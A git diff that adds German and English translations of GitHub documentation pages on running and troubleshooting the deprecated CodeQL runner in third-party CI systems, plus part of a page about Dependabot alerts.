+# Read these generated environment variables and values, and set them so they are available for subsequent commands
+# in the build pipeline. This is done in PowerShell in this example.
+- task: PowerShell@1
+  displayName: Set CodeQL environment variables
+  inputs:
+      targetType: inline
+      script: >
+         $json = Get-Content /codeql-dbs/example-repo/temp/tracingEnvironment/start-tracing.json | ConvertFrom-Json
+         $json.PSObject.Properties | ForEach-Object {
+             $template = "##vso[task.setvariable variable="
+             $template += $_.Name
+             $template += "]"
+             $template += $_.Value
+             echo "$template"
+         }
+
+# Execute the pre-defined build step. Note the `msbuildArgs` variable.
+- task: VSBuild@1
+    inputs:
+      solution: '**/*.sln'
+      # Disable MSBuild shared compilation for C# builds.
+      msbuildArgs: /p:OutDir=$(Build.ArtifactStagingDirectory) /p:UseSharedCompilation=false
+      platform: Any CPU
+      configuration: Release
+      # Execute a clean build, in order to remove any existing build artifacts prior to the build.
+      clean: True
+   displayName: Visual Studio Build
+
+# Read and set the generated environment variables to end build tracing. This is done in PowerShell in this example.
+- task: PowerShell@1
+   displayName: Clear CodeQL environment variables
+   inputs:
+      targetType: inline
+      script: >
+         $json = Get-Content $(System.DefaultWorkingDirectory)/db/temp/tracingEnvironment/end-tracing.json | ConvertFrom-Json
+         $json.PSObject.Properties | ForEach-Object {
+             $template = "##vso[task.setvariable variable="
+             $template += $_.Name
+             $template += "]"
+             $template += $_.Value
+             echo "$template"
+         }
+
+# Use `codeql database finalize` to complete database creation after the build is done.
+- task: CmdLine@2
+   displayName: Finalize CodeQL database
+   inputs:
+      script: 'codeql database finalize /codeql-dbs/example-repo'
+
+
+# Analyze the database and upload the results.
+- task: CmdLine@2
+   displayName: Analyze CodeQL database
+   inputs:
+      script: 'codeql database analyze /codeql-dbs/example-repo csharp-code-scanning.qls --sarif-category=csharp --format=sarif-latest --output=/temp/example-repo-csharp.sarif'
+
+- task: CmdLine@2
+   displayName: Upload CodeQL results
+   inputs:
+      script: 'echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+    --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+    --sarif=/temp/example-repo-csharp.sarif --github-auth-stdin'
+
+```
+
+### Mehrere Sprachen mit Autobuild (C++, Python)
+
+Dieses Beispiel ist mit dem {% data variables.code-scanning.codeql_runner %} streng genommen nicht durchführbar.
+Nur eine Sprache (die kompilierte Sprache mit den meisten Dateien) wird analysiert.
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages cpp,python \
+    --github-url https://github.com --github-auth-stdin
+
+# Source the script generated by the init step to set up the environment to monitor the build.
+. codeql-runner/codeql-env.sh
+
+# Run the autobuilder for the language with the most files.
+codeql-runner-linux autobuild
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo
+    --github-url https://github.com --github-auth-stdin
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+
+Über die CLI:
+```bash
+# Create multiple databases using `--db-cluster`.
+# Run autobuild by omitting `--command`.
+codeql database create /codeql-dbs/example-repo-multi \
+    --db-cluster --language cpp,python \
+    --no-run-unnecessary-builds \
+    --source-root .
+
+# Analyze each database in turn and upload the results.
+for language in cpp python; do
+  codeql database analyze "/codeql-dbs/example-repo-multi/$language"  \
+      "$language-code-scanning.qls" --sarif-category="$language"
+      --format=sarif-latest --output="/temp/example-repo-$language.sarif"
+
+  echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+      --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+      --sarif="/temp/example-repo-$language.sarif" --github-auth-stdin
+done
+```
+
+### Mehrere Sprachen mit einem benutzerdefinierten Buildbefehl (C++, Python)
+
+Runner:
+```bash
+echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
+    --languages cpp,python \
+    --github-url https://github.com --github-auth-stdin
+
+# Source the script generated by the init step to set up the environment to monitor the build.
+. codeql-runner/codeql-env.sh
+
+# Run a custom build command.
+make
+
+echo "$TOKEN" | codeql-runner-linux analyze --repository my-org/example-repo
+    --github-url https://github.com --github-auth-stdin
+    --commit deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 --ref refs/heads/main
+```
+
+Über die CLI:
+```bash
+# Create multiple databases using `--db-cluster`.
+codeql database create /codeql-dbs/example-repo-multi \
+    --db-cluster --language cpp,python \
+    --command make --no-run-unnecessary-builds \
+    --source-root .
+
+# Analyze each database in turn and upload the results.
+for language in cpp python; do
+  codeql database analyze "/codeql-dbs/example-repo-multi/$language"  \
+      "$language-code-scanning.qls" --sarif-category="$language"
+      --format=sarif-latest --output="/temp/example-repo-$language.sarif"
+
+  echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
+      --ref=refs/heads/main --commit=deb275d2d5fe9a522a0b7bd8b6b6a1c939552718 \
+      --sarif="/temp/example-repo-$language.sarif" --github-auth-stdin
+done
+```
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md
new file mode 100644
index 0000000000..32ac2bf9d2
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md
@@ -0,0 +1,184 @@
+---
+title: Ausführen des CodeQL-Runners im CI-System
+shortTitle: Run CodeQL runner
+intro: 'Du kannst mit dem {% data variables.code-scanning.codeql_runner %} {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in einem Continuous Integration-System eines Drittanbieters durchzuführen.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/running-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/running-codeql-runner-in-your-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Repositories
+  - Pull requests
+  - Integration
+  - CI
+  - SARIF
+ms.openlocfilehash: 7e60376ed165a3af2da7f000c37d326cb33ade99
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148161094'
+---
+<!--UI-LINK: When GitHub Enterprise Server <=3.0 doesn't have GitHub Actions set up, the Security > Code scanning alerts view links to this article.-->
+
+{% ifversion codeql-runner-supported %}
+
+{% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## Informationen zum {% data variables.code-scanning.codeql_runner %}
+
+Du kannst das Tool {% data variables.code-scanning.codeql_runner %} zum Ausführen von {% data variables.product.prodname_code_scanning %} für Code verwenden, den du in einem CI-System (Continuous Integration) eines Drittanbieters verarbeitest. {% data reusables.code-scanning.about-code-scanning %} Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql).
+
+In vielen Fällen ist es einfacher, {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} mit der {% data variables.product.prodname_codeql_cli %} direkt im CI-System einzurichten. 
+
+Alternativ dazu kannst du {% data variables.product.prodname_actions %} zum Ausführen von {% data variables.product.prodname_code_scanning %} mit {% data variables.product.product_name %} verwenden. Weitere Informationen findest du unter [Einrichten von {% data variables.product.prodname_code_scanning %} für ein Repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository).
+
+Der {% data variables.code-scanning.codeql_runner %} ist ein Befehlszeilentool, mit dem {% data variables.product.prodname_codeql %}-Analysen für einen Check-Out eines {% data variables.product.prodname_dotcom %}-Repositorys ausgeführt werden. Du fügst den Runner dem Drittanbietersystem hinzu und rufst dann den Runner auf, um Code zu analysieren und die Ergebnisse in {% data variables.product.product_name %} hochzuladen. Diese Ergebnisse werden als {% data variables.product.prodname_code_scanning %}-Warnungen im Repository angezeigt.
+
+{% note %}
+
+**Hinweis:** {% ifversion fpt or ghec %}
+* Vom {% data variables.code-scanning.codeql_runner %} wird die {% data variables.product.prodname_codeql %}-CLI zum Analysieren von Code verwendet. Für den Runner gelten daher dieselben Lizenzbedingungen. Der Runner kann kostenlos in öffentlichen Repositorys verwendet werden, die auf {% data variables.product.prodname_dotcom_the_website %} verwaltet werden. Außerdem ist er zur Verwendung für private Repositorys verfügbar, die Kunden mit einer {% data variables.product.prodname_advanced_security %}-Lizenz gehören. Weitere Informationen findest du unter [{% data variables.product.product_name %} {% data variables.product.prodname_codeql %}-Geschäftsbedingungen](https://securitylab.github.com/tools/codeql/license) und [{% data variables.product.prodname_codeql %}-CLI](https://codeql.github.com/docs/codeql-cli/).
+{% else %}
+* Der {% data variables.code-scanning.codeql_runner %} ist für Kunden mit einer {% data variables.product.prodname_advanced_security %}-Lizenz verfügbar.
+{% endif %} {% ifversion ghae %}
+* Der {% data variables.code-scanning.codeql_runner %} darf nicht mit der {% data variables.product.prodname_codeql %}-CLI verwechselt werden. Die {% data variables.product.prodname_codeql %}-CLI ist eine Befehlszeilenschnittstelle, mit der du {% data variables.product.prodname_codeql %}-Datenbanken für Sicherheitsuntersuchungen erstellen und {% data variables.product.prodname_codeql %}-Abfragen ausführen kannst.
+Weitere Informationen findest du unter [{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/).
+{% endif %} {% endnote %}
+
+## Herunterladen von {% data variables.code-scanning.codeql_runner %}
+
+Du kannst den {% data variables.code-scanning.codeql_runner %} über https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases herunterladen. Bei einigen Betriebssystemen musst du möglicherweise Berechtigungen für die heruntergeladene Datei ändern, bevor du sie ausführen kannst.
+
+Unter Linux:
+
+```shell
+chmod +x codeql-runner-linux
+```
+
+Unter MacOS:
+
+```shell
+chmod +x codeql-runner-macos
+sudo xattr -d com.apple.quarantine codeql-runner-macos
+```
+
+Unter Windows müssen für die Datei `codeql-runner-win.exe` in der Regel keine Berechtigungen geändert werden.
+
+## Einrichten des {% data variables.code-scanning.codeql_runner %} im CI-System
+
+Sobald du den {% data variables.code-scanning.codeql_runner %} heruntergeladen und überprüft hast, ob er ausgeführt werden kann, solltest du den Runner für jeden CI-Server verfügbar machen, den du für {% data variables.product.prodname_code_scanning %} verwenden möchtest. Du könntest beispielsweise jeden Server so konfigurieren, dass der Runner von einem zentralen, internen Speicherort kopiert wird. Alternativ dazu könntest du die REST-API verwenden, um den Runner direkt von {% data variables.product.prodname_dotcom %} abzurufen, z. B.: 
+
+```shell
+wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux
+chmod +x codeql-runner-linux
+```
+
+Zusätzlich dazu benötigt jeder CI-Server Folgendes:
+
+- Ein {% data variables.product.prodname_github_app %} oder {% data variables.product.pat_generic %} für den zu verwendenden {% data variables.code-scanning.codeql_runner %}. Du musst ein Zugriffstoken mit dem Bereich `repo` oder eine {% data variables.product.prodname_github_app %} mit der Schreibberechtigung `security_events` und den Leseberechtigungen `metadata` und `contents` verwenden. Weitere Informationen findest du unter [Kompilieren von {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps) und [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token).
+- Zugriff auf das {% data variables.product.prodname_codeql %}-Bundle, das diesem Release des {% data variables.code-scanning.codeql_runner %} zugeordnet ist. Dieses Paket enthält Abfragen und Bibliotheken, die für die {% data variables.product.prodname_codeql %}-Analyse erforderlich sind, sowie die {% data variables.product.prodname_codeql %}-CLI, die intern vom Runner verwendet wird. Weitere Informationen findest du unter [{% data variables.product.prodname_codeql %}-CLI](https://codeql.github.com/docs/codeql-cli/).
+
+Mit folgenden Optionen wird der Zugriff auf das {% data variables.product.prodname_codeql %}-Bundle bereitgestellt:
+
+1. Gewähre den CI-Servern Zugriff auf https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action, sodass das Bundle automatisch vom {% data variables.code-scanning.codeql_runner %} heruntergeladen werden kann.
+1. Lade das Bundle manuell herunter, extrahiere es, speichere es mit anderen zentralen Ressourcen, und verwende das Flag <nobr>`--codeql-path`</nobr>, um den Speicherort des Bundles in Aufrufen anzugeben und so den {% data variables.code-scanning.codeql_runner %} zu initialisieren.
+
+## Aufrufen von {% data variables.code-scanning.codeql_runner %}
+
+Du solltest den {% data variables.code-scanning.codeql_runner %} vom Check-Out-Speicherort des Repositorys aufrufen, das du analysieren möchtest. Die beiden Hauptbefehle sind folgende:
+
+1. `init` ist zum Initialisieren des Runners und zum Erstellen einer {% data variables.product.prodname_codeql %}-Datenbank für jede zu analysierende Sprache erforderlich. Diese Datenbanken werden durch nachfolgende Befehle gefüllt und analysiert.
+1. `analyze` ist erforderlich, damit die {% data variables.product.prodname_codeql %}-Datenbanken gefüllt und analysiert und dann die Ergebnisse in {% data variables.product.product_name %} hochgeladen werden.
+
+Für beide Befehle musst du die URL von {% data variables.product.product_name %}, den *BESITZER/NAMEN* des Repositorys und die {% data variables.product.prodname_github_apps %} oder das {% data variables.product.pat_generic %} für die Authentifizierung angeben. Du musst auch den Speicherort des CodeQL-Bundles angeben, es sei denn, der CI-Server hat Zugriff und kann das Bundle direkt aus dem Repository `github/codeql-action` herunterladen.
+
+Du kannst konfigurieren, wo das CodeQL-Bundle vom {% data variables.code-scanning.codeql_runner %} für zukünftige Analysen auf einem Server gespeichert werden soll. Verwende dazu das Flag <nobr>`--tools-dir`</nobr>. Für den Speicherort der temporären Dateien während Analysen verwendest du das Flag <nobr>`--temp-dir`</nobr>.
+
+Verwende zum Anzeigen der Befehlszeilenreferenz für den Runner das Flag `-h`. Wenn du beispielsweise alle Befehle auflisten möchtest, führe `codeql-runner-OS -h` aus. Wenn du alle für den Befehl `init` verfügbaren Flags auflisten möchtest, führe `codeql-runner-OS init -h` aus (`OS` variiert dabei je nach der ausführbaren Datei, die du verwendest). Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_code_scanning %} im CI-System](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference).
+
+{% data reusables.code-scanning.upload-sarif-alert-limit %}
+
+### Einfaches Beispiel
+
+In diesem Beispiel wird eine {% data variables.product.prodname_codeql %}-Analyse auf einem Linux-CI-Server für das Repository `octo-org/example-repo` ausgeführt, das auf `{% data variables.command_line.git_url_example %}` gehostet wird. Der Prozess ist sehr einfach, da das Repository nur Sprachen enthält, die von {% data variables.product.prodname_codeql %} direkt analysiert werden können, ohne erstellt zu werden (d. h. Go, JavaScript, Python und TypeScript).
+
+In diesem Beispiel hat der Server Zugriff zum Herunterladen des {% data variables.product.prodname_codeql %}-Bundles direkt aus dem Repository `github/codeql-action`, sodass das Flag `--codeql-path` nicht verwendet werden muss.
+
+1. Checke das zu analysierende Repository aus.
+1. Wechsle in das Verzeichnis, in dem das Repository ausgecheckt ist.
+1. Initialisiere den {% data variables.code-scanning.codeql_runner %}, und erstelle {% data variables.product.prodname_codeql %}-Datenbanken für die erkannten Sprachen.
+
+    ```shell
+    $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo
+        --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
+    > Cleaning temp directory /srv/checkout/example-repo/codeql-runner
+    > ...
+    > Created CodeQL database at /srv/checkout/example-repo/codeql-runner/codeql_databases/javascript.
+    ```
+
+{% data reusables.code-scanning.codeql-runner-analyze-example %}
+
+### Kompilierte Sprache (Beispiel)
+
+Dieses Beispiel ähnelt dem vorherigen Beispiel, aber dieses Mal enthält das Repository Code in C/C++, C# oder Java. Zum Erstellen einer {% data variables.product.prodname_codeql %}-Datenbank für diese Sprachen muss der Build von der CLI überwacht werden. Am Ende des Initialisierungsprozesses wird vom Runner der Befehl gemeldet, den du zum Einrichten der Umgebung benötigst, bevor du den Code erstellst. Du musst diesen Befehl ausführen, bevor du den normalen CI-Buildprozess aufrufst und dann den Befehl `analyze` ausführst.
+
+1. Checke das zu analysierende Repository aus.
+1. Wechsle in das Verzeichnis, in dem das Repository ausgecheckt ist.
+1. Initialisiere den {% data variables.code-scanning.codeql_runner %}, und erstelle {% data variables.product.prodname_codeql %}-Datenbanken für die erkannten Sprachen.
+    ```shell
+    $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2
+        --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin
+    > Cleaning temp directory /srv/checkout/example-repo-2/codeql-runner
+    > ...
+    > CodeQL environment output to "/srv/checkout/example-repo-2/codeql-runner/codeql-env.json"
+      and "/srv/checkout/example-repo-2/codeql-runner/codeql-env.sh".
+      Please export these variables to future processes so that CodeQL can monitor the build, for example by running 
+      ". /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh".
+    ```
+1. Binde das Skript ein, das von der Aktion `init` generiert wird, um die Umgebung zur Überwachung des Builds einzurichten. Beachte den führenden Punkt und das Leerzeichen im folgenden Codeausschnitt.
+
+    ```shell
+    $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh
+    ```
+
+1. Erstellen des Codes. Unter macOS musst du den Buildbefehl mit der Umgebungsvariable `$CODEQL_RUNNER` als Präfix versehen. Weitere Informationen findest du unter [Problembehandlung für den {% data variables.code-scanning.codeql_runner %} im CI-System](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build).
+
+{% data reusables.code-scanning.codeql-runner-analyze-example %}
+
+{% note %}
+
+**Hinweis:** Wenn du einen containerisierten Build verwendest, musst du den {% data variables.code-scanning.codeql_runner %} in dem Container ausführen, in dem die Buildaufgabe ausgeführt wird.
+
+{% endnote %}
+
+## Weiterführende Themen
+
+- [Konfigurieren von {% data variables.code-scanning.codeql_runner %} in deinem CI-System](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)
+- [Problembehandlung von {% data variables.code-scanning.codeql_runner %} in deinem CI-System](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)
+
+{% else %}
+
+## Informationen zum {% data variables.code-scanning.codeql_runner %}
+
+Der {% data variables.code-scanning.codeql_runner %} ist veraltet. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases), Version 2.7.6 verfügt über eine vollständige Featureparität.
+
+Informationen zum Migrieren zu {% data variables.product.prodname_codeql_cli %} findest du unter [Migrieren vom CodeQL-Runner zur CodeQL-CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli).
+
+## Weiterführende Themen
+
+- [CodeQL-Runner-Veralterung](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/) im GitHub-Blog
+
+{% endif %}
diff --git a/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md
new file mode 100644
index 0000000000..02cc0d97c9
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md
@@ -0,0 +1,69 @@
+---
+title: Troubleshooting CodeQL runner in your CI system
+shortTitle: Troubleshoot CodeQL runner
+intro: 'If you''re having problems with the {% data variables.code-scanning.codeql_runner %}, you can troubleshoot by using these tips.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning-in-your-ci-system
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/troubleshooting-codeql-code-scanning-in-your-ci-system
+  - /code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system
+  - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system
+versions:
+  feature: codeql-runner-supported
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Troubleshooting
+  - Integration
+  - CI
+---
+
+
+{% data reusables.code-scanning.deprecation-codeql-runner %}
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.not-available %}
+
+## The `init` command takes too long
+
+Before the {% data variables.code-scanning.codeql_runner %} can build and analyze code, it needs access to the {% data variables.product.prodname_codeql %} bundle, which contains the {% data variables.product.prodname_codeql %} CLI and the {% data variables.product.prodname_codeql %} libraries.
+
+When you use the {% data variables.code-scanning.codeql_runner %} for the first time on your machine, the `init` command downloads the {% data variables.product.prodname_codeql %} bundle to your machine. This download can take a few minutes.
+The {% data variables.product.prodname_codeql %} bundle is cached between runs, so if you use the {% data variables.code-scanning.codeql_runner %} again on the same machine, it won't download the {% data variables.product.prodname_codeql %} bundle again.
+
+To avoid this automatic download, you can manually download the {% data variables.product.prodname_codeql %} bundle to your machine and specify the path using the `--codeql-path` flag of the `init` command.
+
+## No code found during the build
+
+If the `analyze` command for the {% data variables.code-scanning.codeql_runner %} fails with an error `No source code was seen during the build`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure.
+
+1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by using the `--languages` flag of the `init` command. For more information, see "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)."
+
+1. You're analyzing a compiled language without using the `autobuild` command and you run the build steps yourself after the `init` step. For the build to work, you must set up the environment such that the {% data variables.code-scanning.codeql_runner %} can monitor the build process. The `init` command generates instructions for how to export the required environment variables, so you can copy and run the script after you've run the `init` command.
+   - On macOS and Linux:
+     ```shell
+      $ . codeql-runner/codeql-env.sh
+     ```
+   - On Windows, using the Command shell (`cmd`) or a batch file (`.bat`):
+     ```shell
+     > call codeql-runner\codeql-env.bat
+     ```
+   - On Windows, using PowerShell:
+     ```shell
+     > cat codeql-runner\codeql-env.sh | Invoke-Expression
+     ```
+
+   The environment variables are also stored in the file `codeql-runner/codeql-env.json`. This file contains a single JSON object which maps environment variable keys to values. If you can't run the script generated by the `init` command, then you can use the data in JSON format instead.
+
+   {% note %}
+
+   **Note:** If you used the `--temp-dir` flag of the `init` command to specify a custom directory for temporary files, the path to the `codeql-env` files might be different.
+
+   {% endnote %}
+
+1. You're analyzing a compiled language on macOS without using the `autobuild` command and you run the build steps yourself after the `init` step. If SIP (System Integrity Protection) is enabled, which is the default on recent versions of OSX, analysis might fail. To fix this, prefix the build command with the `$CODEQL_RUNNER` environment variable. 
+   For example, if your build command is `cmd arg1 arg2`, you should run `$CODEQL_RUNNER cmd arg1 arg2`.
+
+1. The code is built in a container or on a separate machine. If you use a containerized build or if you outsource the build to another machine, make sure to run the {% data variables.code-scanning.codeql_runner %} in the container or on the machine where your build task takes place. For more information, see "[Running CodeQL code scanning in a container](/code-security/secure-coding/running-codeql-code-scanning-in-a-container)."
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md
new file mode 100644
index 0000000000..2929324fc3
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-alerts/about-dependabot-alerts.md
@@ -0,0 +1,106 @@
+---
+title: Informationen zu Dependabot-Warnungen
+intro: '{% data variables.product.product_name %} versendet {% data variables.product.prodname_dependabot_alerts %}, wenn erkannt wird, dass dein Repository eine anfällige Abhängigkeit{% ifversion GH-advisory-db-supports-malware %} oder Malware verwendet{% endif %}.'
+redirect_from:
+  - /articles/about-security-alerts-for-vulnerable-dependencies
+  - /github/managing-security-vulnerabilities/about-security-alerts-for-vulnerable-dependencies
+  - /github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies
+  - /code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Dependabot
+  - Alerts
+  - Vulnerabilities
+  - Repositories
+  - Dependencies
+shortTitle: Dependabot alerts
+ms.openlocfilehash: 737e5547e3aefd6b5c49780df0c78cdc73292ee4
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106741'
+---
+<!--Marketing-LINK: From /features/security/software-supply-chain page "About alerts for vulnerable dependencies ".-->
+
+## Informationen zu {% data variables.product.prodname_dependabot_alerts %}
+
+{% ifversion GH-advisory-db-supports-malware %} {% data reusables.advisory-database.beta-malware-advisories %} {% endif %}
+
+Durch {% data variables.product.prodname_dependabot_alerts %} erfährst du, dass dein Code von einem unsicheren Paket abhängt.
+
+Wenn dein Code von einem Paket mit einem Sicherheitsrisiko abhängt, kann dies eine Reihe von Problemen für dein Projekt oder die Personen verursachen, die es verwenden. Du solltest so schnell wie möglich auf eine sichere Version des Pakets upgraden. {% ifversion GH-advisory-db-supports-malware %} Wenn dein Code Schadsoftware verwendet, musst du das Paket durch eine sichere Alternative ersetzen.{% endif %}
+
+{% data reusables.security-advisory.link-browsing-advisory-db %}
+
+## Erkennen unsicherer Abhängigkeiten
+
+{% data reusables.dependabot.dependabot-alerts-beta %}
+
+{% data variables.product.prodname_dependabot %} führt eine Überprüfung zum Erkennen von unsicheren Abhängigkeiten durch und sendet {% data variables.product.prodname_dependabot_alerts %}, wenn:
+
+{% ifversion fpt or ghec %}
+- In der {% data variables.product.prodname_advisory_database %} eine neue Empfehlung hinzugefügt wird. Weitere Informationen findest du unter [Durchsuchen von Sicherheitsempfehlungen in der {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database).{% else %}
+- Neue Empfehlungsdaten werden stündlich zwischen {% data variables.product.prodname_dotcom_the_website %} und {% data variables.location.product_location %} synchronisiert. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %} {% note %}
+
+  **Hinweis:** Nur Empfehlungen, die von {% data variables.product.company_short %} überprüft wurden, lösen {% data variables.product.prodname_dependabot_alerts %} aus.
+
+  {% endnote %}
+- Das Abhängigkeitsdiagramm für ein Repository wird geändert. Wenn ein Mitwirkender beispielsweise einen Commit veröffentlicht, um die Pakete oder Versionen zu ändern, von denen er abhängt{% ifversion fpt or ghec %}, oder wenn sich der Code einer der Abhängigkeiten ändert{% endif %}. Weitere Informationen findest du unter [Informationen zum Abhängigkeitsdiagramm](/code-security/supply-chain-security/about-the-dependency-graph).
+
+{% data reusables.repositories.dependency-review %}
+
+Eine Liste der Ökosysteme, in denen {% data variables.product.product_name %} unsichere Abhängigkeiten erkennen kann, findest du unter [Ökosysteme unterstützter Pakete](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems).
+
+{% note %}
+
+**Hinweis:** Du musst dein Manifest und deine Sperrdateien auf dem neuesten Stand halten. Wenn das Abhängigkeitsdiagramm deine aktuellen Abhängigkeiten und Versionen nicht genau widerspiegelt, kannst du Warnungen zu unsicheren Abhängigkeiten verpassen, die du verwendest. Möglicherweise erhältst du auch Warnungen für Abhängigkeiten, die du nicht mehr verwendest.
+
+{% endnote %}
+
+##  Konfigurieren von {% data variables.product.prodname_dependabot_alerts %}
+
+{% data reusables.repositories.enable-security-alerts %}
+
+{% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %} erkennt Abhängigkeiten mit Sicherheitsrisiken und Malware in _öffentlichen_ Repositorys und zeigt das Abhängigkeitsdiagramm an, generiert standardmäßig jedoch keine {% data variables.product.prodname_dependabot_alerts %}. Repositorybesitzer*innen oder Personen mit Administratorzugriff können {% data variables.product.prodname_dependabot_alerts %} für öffentliche Repositorys aktivieren. Besitzer*innen privater Repositorys oder Personen mit Administratorzugriff können {% data variables.product.prodname_dependabot_alerts %} aktivieren, indem sie das Abhängigkeitsdiagramm und {% data variables.product.prodname_dependabot_alerts %} für ihre Repositorys aktivieren.
+
+Du kannst {% data variables.product.prodname_dependabot_alerts %} auch für alle Repositorys aktivieren oder deaktivieren, die zu deinem Benutzerkonto oder deiner Organisation gehören. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts).
+
+Informationen zu Zugriffsanforderungen für Aktionen im Zusammenhang mit {% data variables.product.prodname_dependabot_alerts %} findest du unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#access-requirements-for-security-features).
+
